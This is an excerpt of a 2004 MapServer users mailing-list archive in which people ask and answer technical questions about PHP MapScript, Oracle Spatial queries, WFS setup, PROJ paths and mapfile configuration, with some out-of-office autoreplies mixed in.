code that generates the polygon circle thanks to the some Mapserver users. Thanks in advance. G ********************* CODE *********************** function createPoint( $x1, $y2, $programId, $radius, $name, $color, &$oShp) { GLOBAL $map; $shpFname = "/var/www/html/atmsv03/$name"; $shpFile = ms_newShapeFileObj($shpFname, MS_SHP_POLYGON); $dbfFile = dbase_create( $shpFname.".dbf", array(array("ID", "N", 5, 0))); // Create shape $oShp = ms_newShapeObj(MS_SHAPE_POLYGON); $oLine = ms_newLineObj(); $pointObj = ms_newPointObj(); for ($i = 0; $i <= 360; $i = $i + 10) { $x = $x1 + (cos($i * (22 / 7) / 180) * $radius); $y = $y2 - (sin($i * (22 / 7) / 180) * $radius); $pointObj->setXY($x, $y); $oLine->add($pointObj); } $oShp->add($oLine); $shpFile->addShape($oShp); // Write attribute record dbase_add_record($dbfFile, array($programId)); $shpFile->free(); dbase_close($dbfFile); $layer = ms_newlayerObj($map); $layer->set("name", "dangerZone"); $layer->set("type", MS_LAYER_POLYGON); $layer->set("status", MS_ON); $layer->set("data", $name); $layer->set("transparency", 30); $class = ms_newClassObj($layer); $style = ms_newStyleObj($class); $arr=explode(",", $color); $style->color->setRGB($arr[0],$arr[1],$arr[2]); }// end function if ($postcode) { createPoint($punt[0], $punt[1], 1, 1000, 'name', '0,0,0', $oShp); } $lay = $map->getLayerByName("areacode"); $lay->queryByShape($oShp); From simon at inf.univali.br Fri Mar 19 09:06:25 2004 From: simon at inf.univali.br (Fernando S.) Date: Fri, 19 Mar 2004 14:06:25 -0300 Subject: [Mapserver-users] Problems with QUERY on SPATIALORACLE In-Reply-To: <004b01c40dc4$e6e70f30$2d07ba82@int.cineca.it> References: <004b01c40dc4$e6e70f30$2d07ba82@int.cineca.it> Message-ID: <405B2891.1030208@inf.univali.br> This is a multi-part message in MIME format. --------------080304040905070605020804 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hi all mapOracleSpatial users, About the mapOracleSpatial, we (G10-LCA), intend to release a new version (1.9) with this function implemented in the next week (friday). What you think about been our betatesters? We are accepting propose! We need some cases, examples where this functions are needed. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa??o Aplicada http://g10.cttmar.univali.br ================================================================== Gregorio Greco wrote: > > >*Hi All, > >I have a problem with SpatialOracle and I want to do simple query for the moment like this:* > >*I starting work with Mapserver and SpatialOracle:* > >*now I am successful to display the map and to navigate, * *therefore for this aspect ** I do not have problems...* > >*I have problems with 'query' o 'nquery' on data fetched from the spatialoracle tables.* > >*I have read **that others have my same problem and I have read in a mail (21 - Jan - 2004) **that you * > >*are working in this function....** I would want to know * *kindly* *when this function will be available or if it exists another * > >*way for to do this....* > >*I'm sorry for my little english and I thanks in advance who me will be able to help* *in this problem !* > >*I take a small portion of code of the map file:* > >*........ others settings ..................* > >*_____________________________________________________________________________________________________________________________* > >*LAYER # States polygon layer begins here > > NAME province > CONNECTIONTYPE oraclespatial > CONNECTION "greco/9meno5=4 at test9i " >* > >* DATA "GEOM FROM (SELECT P.PROVINCIA,P.CASI_TOT,P.GEOM FROM PROVINCE P)" >* > > ** > >* STATUS DEFAULT > TYPE POLYGON > >** >CLASSITEM CASI_TOT >* > >* CLASS > NAME '141767-197144' > EXPRESSION ([CASI_TOT] >= 141767 and [CASI_TOT] <= 197144) > TEMPLATE 'templates/query_province.htm' > COLOR 87 170 134 > OUTLINECOLOR 255 255 255 > > END #end class* > >*_______________________________________________________________________________________* > >*.......etc etc etc........ * > >** > >** > >*Best Regards* > >*Gregorio* > > > >_________________________________________________________ >Dr. Gregorio Greco >CINECA - InterUniversity Computing Center - SISS >http://www.cineca.it >Via Magnanelli, 6/3 >40033 Casalecchio di Reno (BO) Italy >E-mail: g.greco at cineca.it >Phone:+39-051-6171938 >_____________________________________________________ > --------------080304040905070605020804 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi all mapOracleSpatial users,
    About the mapOracleSpatial, we (G10-LCA), intend to release a new version (1.9) with this function implemented in the next week (friday).
    What you think about been our betatesters? We are accepting propose! We need some cases, examples where this functions are needed.
   
==================================================================
Fernando Simon - simon at cttmar.univali.br
==================================================================
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laboratório de Computação Aplicada
http://g10.cttmar.univali.br
==================================================================

Gregorio Greco wrote:
 
Hi All,

I have a problem with SpatialOracle and I want to do simple query for the moment like this:
I starting work with Mapserver and SpatialOracle:
now I  am successful to display  the map and to navigate,  therefore for this aspect  I do not have problems...
I have problems with 'query' o 'nquery' on data fetched from the spatialoracle tables.
I have read  that others have my same problem and I have read in a mail (21 - Jan - 2004)  that you  
are working in this function.... I would want to know  kindly  when this function will be available or if it exists another 
way for to do this.... 
I'm sorry for my little english and  I thanks in advance  who me will be able to help in this problem !
I take a small portion of code of the map file:
........ others settings ..................
_____________________________________________________________________________________________________________________________
LAYER # States polygon layer begins here
    
    NAME  province
    CONNECTIONTYPE oraclespatial
    CONNECTION "greco/9meno5=4 at test9i"

    DATA "GEOM FROM (SELECT P.PROVINCIA,P.CASI_TOT,P.GEOM FROM PROVINCE P)"

    STATUS       DEFAULT
    TYPE         POLYGON
    
 
CLASSITEM CASI_TOT

    CLASS
      NAME '141767-197144'
      EXPRESSION ([CASI_TOT] >= 141767 and [CASI_TOT] <= 197144)
      TEMPLATE 'templates/query_province.htm'
      COLOR 87 170 134
      OUTLINECOLOR 255 255 255
      
    END #end class
_______________________________________________________________________________________
.......etc etc etc........ 
 
 
Best Regards
Gregorio
 
_________________________________________________________
Dr.  Gregorio Greco
CINECA - InterUniversity Computing Center -  SISS 
http://www.cineca.it 
Via Magnanelli, 6/3  
40033 Casalecchio di Reno (BO) Italy 
E-mail:  g.greco at cineca.it 
Phone:+39-051-6171938   
_____________________________________________________

--------------080304040905070605020804-- From gayathri at ou.edu Fri Mar 19 09:08:44 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Fri, 19 Mar 2004 11:08:44 -0600 Subject: [Mapserver-users] Combining mapserver and flash Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0A24095@XMAIL1.sooner.net.ou.edu> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapserverFlash HTH Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of TOH CZ > Sent: Friday, March 19, 2004 10:38 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Combining mapserver and flash > > > Hi I am now attempting to combine both mapserver and a > flash file together > The Flash file already has a map of its own so do I > use that one or do I use the one I am using for > mapserver? > Do I have to use Flash's zoom commands or mapserver's > exe? > Right now the pages just won't load probably because I > am not coding it correctly > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From assefa at dmsolutions.ca Fri Mar 19 09:09:20 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Fri, 19 Mar 2004 12:09:20 -0500 Subject: Moveclassup (Was: RE: [Mapserver-users] Rendering mapscript styl e modifications) In-Reply-To: References: Message-ID: <405B2940.50005@dmsolutions.ca> Wheaton, William D. wrote: > Frank-- > > Thanks for your suggestion to you moveclassup(). I tried it as follows: > > $layer->moveclassup(1); > > But it returned this error: > Fatal error: Call to undefined function: moveclassup() in > /var/www/htdocs/els/mapscript_test.phtml on line 32 > > I checked the documentation, and moveclassup is clearly something that > should exist. I'm using mapserver 4.0. > Note tha move classup has been added aftre the release of 4.0 (added 2004/01). So you will need a mapserver 4.1 version (from CVS or nightly builds) to get access to these functionnalites. Later, -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From bskarger at students.wisc.edu Fri Mar 19 09:50:25 2004 From: bskarger at students.wisc.edu (BONNER S KARGER) Date: Fri, 19 Mar 2004 11:50:25 -0600 Subject: [Mapserver-users] Pop-up Query Window? Mapserver Newbie Message-ID: Hello list users, I have a simple mapserver running. It is basically a modified version of the Mapserver "demo" that I downloaded from the web. In query mode, users can click on point features (msQueryByPoint()), and get info pulled from the shapefile dbf. This all comes up in a new window, specified in the .map file after "TEMPLATE" in the "CLASS" object. Instead of a new full-size window, I want the query results to pop up on top of the map, in a smaller window (about 300 x 200 pixels), so that the user can still partially see the map. How can I do this? I figured Javascript would work, but I haven't figured that out yet. Any help is appreciated! Thanks much Bonner From mh at svaj.dk Fri Mar 19 10:11:42 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Fri, 19 Mar 2004 19:11:42 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From nicolas.fortin at ec.gc.ca Fri Mar 19 10:16:06 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Fri, 19 Mar 2004 13:16:06 -0500 Subject: [Mapserver-users] Problems with QUERY on SPATIALORACLE Message-ID: Hi Fernando, If I can find some free time, I'd be glad to be one of your betatester for this mapOracleSpatial. I use Oracle with Mapserver 4.0.1 binary on Windows 2000 and IIS and I hope I'd be able to make query on Oracle layer soon. Keep me in touch, Nicolas -----Message d'origine----- De : Fernando S. [mailto:simon at inf.univali.br] Envoy? : Friday, March 19, 2004 12:06 PM ? : Gregorio Greco; mapserver-users at lists.gis.umn.edu Objet : Re: [Mapserver-users] Problems with QUERY on SPATIALORACLE Hi all mapOracleSpatial users, About the mapOracleSpatial, we (G10-LCA), intend to release a new version (1.9) with this function implemented in the next week (friday). What you think about been our betatesters? We are accepting propose! We need some cases, examples where this functions are needed. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa??o Aplicada http://g10.cttmar.univali.br ================================================================== Gregorio Greco wrote: Hi All, I have a problem with SpatialOracle and I want to do simple query for the moment like this: I starting work with Mapserver and SpatialOracle: now I am successful to display the map and to navigate, therefore for this aspect I do not have problems... I have problems with 'query' o 'nquery' on data fetched from the spatialoracle tables. I have read that others have my same problem and I have read in a mail (21 - Jan - 2004) that you are working in this function.... I would want to know kindly when this function will be available or if it exists another way for to do this.... I'm sorry for my little english and I thanks in advance who me will be able to help in this problem ! I take a small portion of code of the map file: ........ others settings .................. _____________________________________________________________________________________________________________________________ LAYER # States polygon layer begins here NAME province CONNECTIONTYPE oraclespatial CONNECTION "greco/9meno5=4 at test9i" DATA "GEOM FROM (SELECT P.PROVINCIA,P.CASI_TOT,P.GEOM FROM PROVINCE P)" STATUS DEFAULT TYPE POLYGON CLASSITEM CASI_TOT CLASS NAME '141767-197144' EXPRESSION ([CASI_TOT] >= 141767 and [CASI_TOT] <= 197144) TEMPLATE 'templates/query_province.htm' COLOR 87 170 134 OUTLINECOLOR 255 255 255 END #end class _______________________________________________________________________________________ .......etc etc etc........ Best Regards Gregorio _________________________________________________________ Dr. Gregorio Greco CINECA - InterUniversity Computing Center - SISS http://www.cineca.it Via Magnanelli, 6/3 40033 Casalecchio di Reno (BO) Italy E-mail: g.greco at cineca.it Phone:+39-051-6171938 _____________________________________________________ From mdoggett at coas.oregonstate.edu Fri Mar 19 11:38:43 2004 From: mdoggett at coas.oregonstate.edu (Matt Doggett) Date: Fri, 19 Mar 2004 11:38:43 -0800 Subject: [Mapserver-users] inline shapes Message-ID: <002801c40de9$ca1373b0$2441c180@oce.orst.edu> Anyone know how to get/set inline shape features via Mapscript? I have the following layer in my mapfile: LAYER NAME copyright TYPE ANNOTATION STATUS DEFAULT TRANSFORM OFF FEATURE POINTS 0 256 END TEXT "Copyright (C) 2003. Spatial Climate Analysis Service" END CLASS ***stuff*** END END And I am trying to change the location of the point (0,256) to something else, ie. Move it. But in my Mapscript when I try to get this feature, the following error is reported: [MapServer Error]: msLayerGetShape(): Cannot retrieve inline shapes randomly. -Matt Matt Doggett Spatial Climate Analysis Service Oregon State University 316 Strand Ag Hall Corvallis, OR 97331 (541)737-9153 mdoggett at coas.oregonstate.edu From sgillies at frii.com Fri Mar 19 12:13:44 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 19 Mar 2004 13:13:44 -0700 Subject: [Mapserver-users] inline shapes In-Reply-To: <002801c40de9$ca1373b0$2441c180@oce.orst.edu> References: <002801c40de9$ca1373b0$2441c180@oce.orst.edu> Message-ID: On Mar 19, 2004, at 12:38 PM, Matt Doggett wrote: > Anyone know how to get/set inline shape features via Mapscript? > > I have the following layer in my mapfile: > > LAYER > NAME copyright > TYPE ANNOTATION > STATUS DEFAULT > TRANSFORM OFF > FEATURE > POINTS > 0 256 > END > TEXT "Copyright (C) 2003. Spatial Climate Analysis > Service" > END > CLASS > ***stuff*** > END > END > > And I am trying to change the location of the point (0,256) to > something > else, ie. Move it. But in my Mapscript when I try to get this feature, > the following error is reported: > > [MapServer Error]: msLayerGetShape(): Cannot retrieve inline shapes > randomly. > > -Matt > Matt, This is only possible in the CVS MapServer. See http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=562 I'm not sure if it's fully implemented in the PHP Mapscript, but with the Perl/Python/Ruby mapscript you'd do something like layer = mapobj.getLayerByName('copyright') layer.open() shape = layer.getShape(0) layer.close() One solution you can try is to not define any inline features in your map file, and then add the inline feature when needed. This eliminates the need to access an existing feature. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From djaimes at corponor.gov.co Fri Mar 19 13:55:04 2004 From: djaimes at corponor.gov.co (DANIEL JAIMES PALACIOS) Date: Fri, 19 Mar 2004 16:55:04 -0500 Subject: [Mapserver-users] =?iso-8859-1?Q?Re:_=5BMapserver-users=5D_Fw:_Solicitud_de_informaci=F3n?= References: Message-ID: <014701c40dfc$f18d3760$1fc3c3c3@corponor> This is a multi-part message in MIME format. ------=_NextPart_000_013D_01C40DD2.ED50B840 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Juan Pablo, Tengo un problema, resulta que tengo un layer, de una divisi=F3n = politica de un departamento, pero quiero que cada polygono me tome un = color diferente, como hago????? Gracias DANIEL JAIMES CUCUTA-COLOMBIA ----- Original Message -----=20 From: Pablo Berroa=20 To: djaimes at corponor.gov.co=20 Sent: Thursday, March 18, 2004 11:24 PM Subject: RE: [Mapserver-users] Fw: Solicitud de informaci=F3n Daniel, Para accesar bases de datos debes utilizar PHP MapScript, busca los = detalles en la pagina oficial de Mapserver. Juan Pablo Berroa=20 Santo Domingo, Rep. Dominicana -------------------------------------------------------------------------= ----- Free up your inbox with MSN Hotmail Extra Storage. Multiple plans = available. ------=_NextPart_000_013D_01C40DD2.ED50B840 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Juan Pablo,
 
Tengo un problema, resulta que tengo un = layer, de=20 una divisi=F3n politica de un departamento, pero quiero que cada = polygono me tome=20 un color diferente, como hago?????
 
Gracias
 
 
DANIEL JAIMES
CUCUTA-COLOMBIA
----- Original Message -----
From:=20 Pablo=20 Berroa
Sent: Thursday, March 18, 2004 = 11:24=20 PM
Subject: RE: [Mapserver-users] = Fw:=20 Solicitud de informaci=F3n

Daniel,

Para accesar bases de datos debes utilizar PHP MapScript, busca los = detalles en la pagina oficial de Mapserver.


Juan Pablo Berroa
Santo Domingo, Rep. Dominicana

Free up your inbox = with MSN=20 Hotmail Extra Storage. Multiple plans available. =
------=_NextPart_000_013D_01C40DD2.ED50B840-- From bigfoot at main-task.com Fri Mar 19 14:49:40 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Fri, 19 Mar 2004 17:49:40 -0500 Subject: [Mapserver-users] =?ISO-8859-1?Q?Re=3A_=5BMapserver-users=5D_Re=3A_=5BMapser?= =?ISO-8859-1?Q?ver-users=5D_Fw=3A_Solicitud_de_informaci=F3n?= In-Reply-To: <014701c40dfc$f18d3760$1fc3c3c3@corponor> References: <014701c40dfc$f18d3760$1fc3c3c3@corponor> Message-ID: <405B7904.3070503@main-task.com> http://mapserver.gis.umn.edu/doc40/mapfile-reference.html#class Vladimir Ilich Guzm?n R. ------------------------ http://www.maintask.com DANIEL JAIMES PALACIOS wrote: > Juan Pablo, > > Tengo un problema, resulta que tengo un layer, de una divisi?n > politica de un departamento, pero quiero que cada polygono me tome un > color diferente, como hago????? > > Gracias > > > DANIEL JAIMES > CUCUTA-COLOMBIA > > ----- Original Message ----- > *From:* Pablo Berroa > *To:* djaimes at corponor.gov.co > *Sent:* Thursday, March 18, 2004 11:24 PM > *Subject:* RE: [Mapserver-users] Fw: Solicitud de informaci?n > > Daniel, > > Para accesar bases de datos debes utilizar PHP MapScript, busca > los detalles en la pagina oficial de Mapserver. > > > Juan Pablo Berroa > Santo Domingo, Rep. Dominicana > > ------------------------------------------------------------------------ > Free up your inbox with MSN Hotmail Extra Storage. Multiple plans > available. > From mh at svaj.dk Sat Mar 20 10:11:48 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Sat, 20 Mar 2004 19:11:48 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From ewaters at xmission.com Sat Mar 20 12:46:27 2004 From: ewaters at xmission.com (Eric Waters) Date: Sat, 20 Mar 2004 13:46:27 -0700 Subject: [Mapserver-users] Shapefile merge-sticher? Message-ID: Hi, I'm working on an open-source Tiger/LINE -> ESRI Shapefile converter (tgr2shp.pl) and I've run into the need for a utility that can merge polygons in a shapefile. You see, the Tiger/LINE data is separated into county files, and some polygons (lakes, some rivers, etc) are split by these political boundaries. They share common DBF info on both side, and identical line points. Is there a command line open source utility that can stitch these polygons together? Stitch any polygons that share common sides together based upon a DBF-compare code? I'm currently working on a Perl script to do this (shp_merge.pl) but it's really kinda obnoxious and slow. Eric Waters From mh at svaj.dk Sun Mar 21 10:11:31 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Sun, 21 Mar 2004 19:11:31 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: <20u0pjat5ybyva1.210320041911@mail.inet.dk> Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From scoota at supanet.com Sun Mar 21 15:07:10 2004 From: scoota at supanet.com (Keith Campbell) Date: Sun, 21 Mar 2004 23:07:10 +0000 Subject: [Mapserver-users] WFS Anyone? Message-ID: <405E201E.7080900@supanet.com> OK, let's try again. Does anyone know why I might get a raster image instead of GML when I send a GetCapabilities or GetFeature request to my WFS server? As far as I know my version (4.01) of MapServer has been built with the necessaries for WFS server support, and my mapfile has the right meta tags. What else could be the problem? Or do I need to re-check the build? Thanks, Keith From warmerdam at pobox.com Sun Mar 21 16:53:24 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sun, 21 Mar 2004 19:53:24 -0500 Subject: [Mapserver-users] WFS Anyone? In-Reply-To: <405E201E.7080900@supanet.com> References: <405E201E.7080900@supanet.com> Message-ID: <405E3904.9080704@pobox.com> Keith Campbell wrote: > OK, let's try again. > > Does anyone know why I might get a raster image instead of GML when I > send a GetCapabilities or GetFeature request to my WFS server? As far as > I know my version (4.01) of MapServer has been built with the > necessaries for WFS server support, and my mapfile has the right meta > tags. What else could be the problem? Or do I need to re-check the build? Keith, If you are actually getting an image back there are two likely reasons. One is that you are using SERVICE=WMS instead of SERVICE=WFS, and the other is that you are getting an error back "inimage". Is the result actually a map? However, to get help you are likely going to need to show us all your exact request url, and perhaps your map file. Ideally, expose the service on the internet so we can look at it more closely. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Jonathan at MeyersGIS.com Sun Mar 21 19:17:32 2004 From: Jonathan at MeyersGIS.com (Jonathan Meyers) Date: Sun, 21 Mar 2004 22:17:32 -0500 Subject: [Mapserver-users] PROJ question Message-ID: <001a01c40fbc$37660e40$0101a8c0@jon> I have mapserver running on a shared host (I have no access to the environment variables). I need to be able to use proj.dll in a directory other than c:\proj... ...so I need to change the PROJ_LIB variable My question: do I need to recompile the proj source code, the mapserver source code or both?? From mapserver at resellmo.com Sun Mar 21 21:37:25 2004 From: mapserver at resellmo.com (K Resellmo) Date: Sun, 21 Mar 2004 23:37:25 -0600 Subject: [Mapserver-users] cgi: QueryByPoint no results Message-ID: <6.0.1.1.2.20040321233642.02804fa0@resellmo.com> Hello all, I'm trying to get mapqueries to work with Mapserver 4.0.1, but QueryByPoint always returns "no results." I have tried zooming in to make sure I really click the right point / polygon, but that has not helped. Changing the TOLERANCE setting did not help either. I am using shapefiles from http://nationalatlas.gov/, and I have tried to use both point and polygon layers without being able to get any query results. Help would be greatly appreciated. Below is my mapfile and template file. Thanks in advance! Kris MAP IMAGETYPE GIF EXTENT -97.5 41.619778 -82.122902 49.38562 SIZE 400 300 SHAPEPATH "d:/vagabond/mapdata" WEB TEMPLATE '/mapserver/web/map-query.html' IMAGEPATH '/mapserver/web/images/' IMAGEURL '/mapserver/images/' END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME States DATA statesp020 STATUS DEFAULT TYPE POLYGON CLASS STYLE COLOR 255 204 102 END END END # States polygon layer ends here LAYER # States line layer begins here NAME States DATA statesp020 STATUS DEFAULT TYPE LINE CLASS STYLE COLOR 32 32 32 END END END # States line layer ends here LAYER # urban areas layer begins here NAME urbanAreas DATA urbanap020 STATUS default TYPE POLYGON CLASS STYLE COLOR 255 0 0 END END END # end of urban areas layer END # end of map file/object HTML template file: From stephane.riff at cerene.fr Mon Mar 22 00:21:47 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Mon, 22 Mar 2004 09:21:47 +0100 Subject: [Mapserver-users] Changing status of a layer change map background color ??? Message-ID: <405EA21B.1040907@cerene.fr> When i changed the status of layer ("Numero_Departements" see below) to OFF, the background color of my map change... When i turn back the status of the same layer to ON the background color is restored... Here is my map file : # # Start of map file # NAME CRN STATUS ON SIZE 600 600 EXTENT 47673.624 1616618.5 1197873.624 2677218.5 UNITS METERS SHAPEPATH "../data" IMAGECOLOR 80 80 80 TRANSPARENT OFF SYMBOLSET "../symbols/symbols.sym" FONTSET "../fonts/font.list" IMAGETYPE PNG # # Start of web interface definition # WEB MINSCALE 5000 MAXSCALE 100000000 IMAGEPATH "/var/mapserver/www/tmp/" IMAGEURL "/tmp/" #ERROR "/mapServ/error.html" METADATA WMS_SRS "EPSG:27582" END END QUERYMAP SIZE -1 -1 STATUS ON STYLE HILITE COLOR 255 255 0 END # # Start of reference map # REFERENCE STATUS ON EXTENT -2646.55843466 1564942.61318 1257407.47103 2722306.80918 IMAGE ../img/nrefmap.png SIZE 115 106 OUTLINECOLOR 0 0 255 COLOR -1 -1 -1 END # # Start of legend # LEGEND STATUS ON KEYSIZE 18 12 END # # Start of scalebar # SCALEBAR IMAGECOLOR 80 80 80 LABEL COLOR 255 255 255 SIZE tiny END STYLE 1 SIZE 600 2 COLOR 255 255 255 UNITS KILOMETERS INTERVALS 6 TRANSPARENT FALSE STATUS ON END # # Start of layer definitions # LAYER NAME "250000" TILEINDEX "250000" TILEITEM "LOCATION" TYPE RASTER STATUS OFF OFFSITE 0 MAXSCALE 500000 GROUP "Images" CLASS NAME "Fond Raster 250000" END METADATA LYRNAME "250000" WMS_SRS "EPSG:27582" QUERYING_FILEDS "" WMS_ORDER "0" END END LAYER CONNECTIONTYPE postgis NAME "Contour_France" CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourfrance" TYPE LINE STATUS ON GROUP "Contour" HEADER blank.html FOOTER blank.html CLASS NAME "Contour_France" SYMBOL "dashline" COLOR 0 153 255 SIZE 3 END METADATA LYRNAME "France" TABLE_NAME "giscontourfrance" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "1" END END LAYER CONNECTIONTYPE postgis NAME "Contour_Departements" CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourdepartement" TYPE LINE STATUS ON MAXSCALE 100000000 MINSCALE 450000 GROUP "Contour" HEADER blank.html FOOTER blank.html CLASS NAME "Contour_Departements" COLOR 255 128 64 END METADATA LYRNAME "D?partements" TABLE_NAME "giscontourdepartement" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "2" END END LAYER CONNECTIONTYPE postgis CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourcommune" NAME "Contour_Communes" TYPE POLYGON STATUS ON MINSCALE 5000 MAXSCALE 450000 GROUP "Contour" HEADER "blank.html" FOOTER "blank.html" LABELITEM "nom_comm" CLASS NAME "Contour_Communes" OUTLINECOLOR 250 194 5 SIZE 4 SYMBOL "dashline" LABEL TYPE TRUETYPE FONT "Arialbd" buffer 1 outlinecolor 255 255 255 COLOR 0 0 255 POSITION CC SIZE 10 END END METADATA LYRNAME "Communes" TABLE_NAME "giscontourcommune" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "3" END END LAYER CONNECTIONTYPE postgis CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from gistxtdepartement" NAME "Numero_Departements" TYPE POINT STATUS OFF MAXSCALE 100000000 MINSCALE 450000 GROUP "Texte" LABELITEM "textstring" HEADER blank.html FOOTER blank.html CLASS NAME "Numero_Departements" COLOR 244 190 80 SIZE 8 SYMBOL "point1" LABEL TYPE TRUETYPE FONT "Arialbd" BUFFER 1 outlinecolor 255 255 0 COLOR 255 0 0 POSITION CC SIZE 8 PARTIALS TRUE FORCE TRUE END END METADATA LYRNAME "N? de D?partements" TABLE_NAME "gistxtdepartement" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "5" END END LAYER CONNECTIONTYPE postgis NAME "Affaires" CONNECTION "host=localhost dbname=budgeo port=5432 user=nobody" DATA "the_geom from gestion" TYPE POINT STATUS ON GROUP "Budgeo" HEADER blank.html FOOTER blank.html SYMBOLSCALE 450000 CLASS NAME "Non Faisable" EXPRESSION ([etat] = 1) SIZE 8 SYMBOL "triangle" COLOR 255 128 64 TEMPLATE "../templates/itemquery_template.html" END CLASS NAME "Faisable" EXPRESSION ([etat] = 2) SIZE 8 SYMBOL "star" COLOR 172 47 59 TEMPLATE "../templates/itemquery_template.html" END CLASS NAME "En cours" EXPRESSION ([etat] = 3) SIZE 8 SYMBOL "flag" COLOR 0 255 0 TEMPLATE "../templates/itemquery_template.html" END CLASS NAME "Fait" EXPRESSION ([etat] = 4) SIZE 8 SYMBOL "point1" COLOR 255 255 0 TEMPLATE "../templates/itemquery_template.html" END CLASS NAME "Archiv?e" EXPRESSION ([etat] = 5) SIZE 8 SYMBOL "point1" COLOR 255 0 0 TEMPLATE "../templates/itemquery_template.html" END METADATA LYRNAME "Affaires" TABLE_NAME "gestion" RESULT_FIELDS "affaire lot mission" QUERYABLE_FIELDS "affaire lot mission" WMS_SRS "EPSG:27582" WMS_ORDER "6" END END END # Map File From Cedric.Moeri at bd.so.ch Mon Mar 22 02:27:42 2004 From: Cedric.Moeri at bd.so.ch (=?ISO-8859-1?Q?M=F6ri_C=E9dric?=) Date: Mon, 22 Mar 2004 11:27:42 +0100 Subject: [Mapserver-users] msyyparse() - parse error Message-ID: <5B025B1F39D6D4119F5700508BEEEC6601423315@srsofaioi4546.ktso.ch> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C40FF8.4F464D90 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Hello list! we recently upgraded our systems from MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is running = under Linux RH7.2. Now i'm reciving sometimes this strange error "msyyparse(): Expression parser error. parse error". (In the old version, everyting worked perfect!) I'm not able to reproduce this error regularly. Sometimes it triggers = when i'm switching some layers on/off, sometimes it triggers when i'm just = paning (same layer-set/same scale). Sometimes it triggers only one time, = othertimes up to 60 times with still the same mapfile.=20 I read from the archives that there might be some issue about the = querrying in postgis but there is not much more. So I guess I'm stuck. Has anybody a hint for me in which direction to = go on with my quest? May anybody explain what the msyyparse does, and when it = is called? Any hint would be appreciated! If needed I would be glad to provide further information. best regards mit freundlichen Gr=FCssen C=E9dric M=F6ri ******************************************** Kanton Solothurn Amt f=FCr Geoinformation Abt. SO!GIS Koordinationsstelle=20 R=F6tihof 4509 Solothurn T: ++41 (0)32 627 2475 Fax: ++41 (0)32 627 2214=20 http://www.sogis.so.ch ******************************************** ------_=_NextPart_000_01C40FF8.4F464D90 Content-Type: application/octet-stream; name="=?ISO-8859-1?Q?M=F6ri_C=E9dric=2Evcf?=" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; 